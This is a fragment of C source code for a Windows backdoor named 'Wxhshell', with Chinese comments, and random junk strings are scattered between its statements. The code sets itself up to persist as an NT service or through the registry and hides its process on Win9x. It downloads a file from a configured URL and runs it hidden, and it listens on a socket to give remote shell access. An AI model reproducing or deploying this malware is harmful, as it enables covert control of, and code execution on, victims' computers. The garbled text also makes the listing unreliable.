g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G<C D4:V #:?:gY< CloseHandle(hProcess); BZ?w}%-MO JN8Rh if(strstr(procName,"services")) return 1; // 以服务启动 aT,WXW* 2XR!2_)O5 return 0; // 注册表启动 K*:=d}^ } T\gs Fl)nmwOc // 主模块 %e:+@%] int StartWxhshell(LPSTR lpCmdLine) 7m#EqF$P { E-WpsNJ)X SOCKET wsl; lf=G BOOL val=TRUE; <WUgH6" int port=0; PhAfEsD struct sockaddr_in door; jRsl/dmy Tb]7# v if(wscfg.ws_autoins) Install(); z};|.N} ja9u?UbW port=atoi(lpCmdLine); -
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L v.RA{a 9 if(port<=0) port=wscfg.ws_port; -|V#U`mwF }1 O"?6 WSADATA data; _gMr]%Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S<T'B0r8 KH2]:&6:Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6w%n$tiX setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z?DCQ door.sin_family = AF_INET; aj4ZS door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xm,fyk> door.sin_port = htons(port); 'd
N1~Pa #w''WOk@ZG if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G&h@ closesocket(wsl); Ry+?#P+ return 1; @x1cV_s[ } ;L$-_Z -7!L]BcZ. if(listen(wsl,2) == INVALID_SOCKET) { =Htt'""DN closesocket(wsl); |M?s[}ll return 1; ,=e.QAF!" } -3ePCAtXbe Wxhshell(wsl); S:z|"u:+ WSACleanup(); >$ZhhM/} J Tv#d>ZSD return 0; ZY<RNwu jTS8
qu } k;cIEEdZD iY>P7Uvvz // 以NT服务方式启动 >)D=PvGlmp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ys.GBSlHG { .-YE(}^ DWORD status = 0; @KM?agtlbl DWORD specificError = 0xfffffff; f
I%8@ : &B5&:ib1D serviceStatus.dwServiceType = SERVICE_WIN32; `a52{Wa serviceStatus.dwCurrentState = SERVICE_START_PENDING; R?1Z[N serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v{$?Ow T/u serviceStatus.dwWin32ExitCode = 0; ^Zvb3RJ g serviceStatus.dwServiceSpecificExitCode = 0; a =W%x{ serviceStatus.dwCheckPoint = 0; '`;=d<' serviceStatus.dwWaitHint = 0; Z'A 3\f yMdu
Zmkc hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dA~_[x:Z if (hServiceStatusHandle==0) return; u"zR_CzYc %KVmpWku status = GetLastError(); ]-t>F if (status!=NO_ERROR) JFI*Pt;X9 { sPc}hG+N serviceStatus.dwCurrentState = SERVICE_STOPPED; vw>(JCR serviceStatus.dwCheckPoint = 0; ktPM66`b serviceStatus.dwWaitHint = 0; .RmFYV0, serviceStatus.dwWin32ExitCode = status; sf$hsPC^ serviceStatus.dwServiceSpecificExitCode = specificError; 6*B%3\z) SetServiceStatus(hServiceStatusHandle, &serviceStatus); GPni%P#a@0 return; n><ad*|MX } k5>UAea_ +8xT}mX serviceStatus.dwCurrentState = SERVICE_RUNNING; 48z%dBmTT* serviceStatus.dwCheckPoint = 0; o6^ETQ serviceStatus.dwWaitHint = 0; 3XB`|\: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t;Z9p7rk } +wz1kPRs 7:g_:}m // 处理NT服务事件,比如:启动、停止 Y'000#+ VOID WINAPI NTServiceHandler(DWORD fdwControl) db_Qt' > {
&3IkC(yD switch(fdwControl) 8VG}- { ;1yF[<a case SERVICE_CONTROL_STOP: ,~,q0PA7J serviceStatus.dwWin32ExitCode = 0; !\| serviceStatus.dwCurrentState = SERVICE_STOPPED; 9{3_2CIL serviceStatus.dwCheckPoint = 0; [f\Jcjc serviceStatus.dwWaitHint = 0; (gYW iz { PZru:.Mh SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Cp/{l;d } ]["%e9#aX return; {k=3OIp case SERVICE_CONTROL_PAUSE: KC&XOI % serviceStatus.dwCurrentState = SERVICE_PAUSED; p*<I_QM! break; 4r83;3WXs case SERVICE_CONTROL_CONTINUE: P0; y serviceStatus.dwCurrentState = SERVICE_RUNNING; X2I_,k'fQ break; [(a3ljbRX case SERVICE_CONTROL_INTERROGATE: FO>!T@0G break; =}tomN(F~[ }; (`slC~" SetServiceStatus(hServiceStatusHandle, &serviceStatus);
E,\)tZ;, } Id^q!4Th9 DZmVm['l // 标准应用程序主函数 x0)=jp '
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZD]{HxGL! { U:99w Y5 ;a // 获取操作系统版本 *.eeiSi{ OsIsNt=GetOsVer(); E$z- |-{> GetModuleFileName(NULL,ExeFile,MAX_PATH); cQxUEY('+ TDZ==<C // 从命令行安装 Py#EjF12 if(strpbrk(lpCmdLine,"iI")) Install(); #-Mr3 Wm" q8-<< // 下载执行文件 z9&j if(wscfg.ws_downexe) { Ax\d{0/oL2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _\yR/W~ WinExec(wscfg.ws_filenam,SW_HIDE); ]%-U~avph } 4Th?q{X pRh9+1EM; if(!OsIsNt) { [;aM8N
// 如果时win9x,隐藏进程并且设置为注册表启动 /2d>nj HideProc(); 1P"{TMd? StartWxhshell(lpCmdLine); QKEtV } ";`jS&"= else \IC^z if(StartFromService()) &Jb$YKt // 以服务方式启动 IhK
SwT StartServiceCtrlDispatcher(DispatchTable); |5`ecjb. else q2F`q. j // 普通方式启动 Lp"OXJ*es StartWxhshell(lpCmdLine); IO&U=-pn& $?!]?{K return 0; %'g)MK!e }
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